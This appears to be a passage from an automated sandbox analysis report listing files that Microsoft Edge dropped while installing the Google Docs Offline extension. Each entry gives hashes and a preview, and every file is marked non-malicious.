Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\5d94539a-781a-46f0-a66d-05ac494905d9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

